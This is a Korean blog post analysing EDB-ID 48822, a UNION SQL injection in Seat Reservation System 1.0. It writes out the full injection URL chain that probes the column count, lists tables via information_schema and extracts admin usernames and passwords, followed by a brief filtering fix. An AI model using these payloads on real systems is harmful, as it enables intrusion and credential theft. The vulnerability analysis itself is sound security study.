1. 개요

CVE 코드

EDB – ID - 48822

분류

SQL Union Injection

대상 어플리케이션

Seat Reservation System 1.0 버전에서 발생

취약 코드

/seat_reservation/reserve.php

영화 좌석 예약을 하는 웹페이지 서비스이다.

예약을 하는 페이지에서 id값을 받을 입력 값을 검증하지 않아 발생하였다.

(그림1) 메인 페이지 화면

 

(그림 2) Union Sql Injection이 발생한 페이지

Union Sql Injection

UNIION 명령어는 조회한 sql 결과를 합치고 싶을 사용하는 명령어이다.

도시와 나라를 조회하는 쿼리문이 있다.

(그림 3) https://www.w3schools.com/sql/ 이용하였다.

 

 

UNION 사용하면 내가 원하는 sql결과와 합칠 있다.

UNION 이용해 1,2 합쳐서 조회하였다.

(그림 4) 1,2가 같이 조회되었다.

 

UNION Sql Injection 입력 값을 검증하는 않는 코드에 UNION 주입하여 공격자 원하는 정보를 출력한다.

 

1. 상세분석

1.1. 발생 원리

$id 값을 넣을 아무런 검증을 거치지 않고 SQL Query 입력 값을 받는다.

(그림5) id값을 그대로 넣어준다.

 

UNION명령어로 인해 공격자가 원하는 정보로 뒤바뀌어 출력된다.

(그림6) Union sql Injection으로 대체되는 부분

 

2.2 취약점 확인

존재하지 않는 id값을 넣어 전송해 보았다.

입력URL : URL/seat_reservation/index.php?page=reserve&id=12124

Sql에서 존재하지 값이 존재하지 않아 빈페이지를 불러온다.

 

UNION SQL Injection 구문을 넣었다.

입력 URL : URL/seat_reservation/index.php?page=reserve&id=’’ union select 1; --

컬럼 개수가 맞지 않아 오류가 발생했다.

 

 

여러 시도 결과 컬럼 개수가 8개인 것을 확인할 있었다.

입력 URL : URL/seat_reservation/index.php?page=reserve&id=’’ union select 1,2,3,4,5,6,7,8;--

 

메타데이터를 가져오는 sql 명령문을 이용해 테이블 명을 가져왔다.

입력 URL : URL/seat_reservation/index.php?page=reserve&id=''union select 1,group_concat(table_name),3,4,5,6,7,8 FROM information_schema.tables WHERE table_schema=database(); --

 

계정 정보는 users 들어 있음을 이름을 통해 추측할 있다. users 컬럼을 추출하였다.

입력 URL : URL/seat_reservation/index.php?page=reserve&id=''union select 1,group_concat(column_name),3,4,5,6,7,8 from information_schema.columns where table_name='users';

 

관리자의 아이디와 패스워드를 추출하였다.

입력 URL : URL/seat_reservation/index.php?page=reserve&id=''union select 1,group_concat(username),3,group_concat(password),5,6,7,8 from users;--  

 

3.대응 방안

소스코드에SQL 필터링을 적용한다.

적용

적용

 Union Sql Injection 발생하지 않는다.

4. 참고자료

-  Seat Reservation System 1.0

https://www.sourcecodester.com/sites/default/files/download/oretnom23/seat-reservation-system-using-php_0.zip

-  Exploit-DB

https://www.exploit-db.com/exploits/48822

-  w3cshools

https://www.w3schools.com/sql/

 

EDB-ID-48822 분석 보고서.pdf
0.54MB

'취약점 분석 > EDB' 카테고리의 다른 글

[EDB] EDB-ID-48197 취약점 분석 - CVS Injection  (0) 2020.09.20

+ Recent posts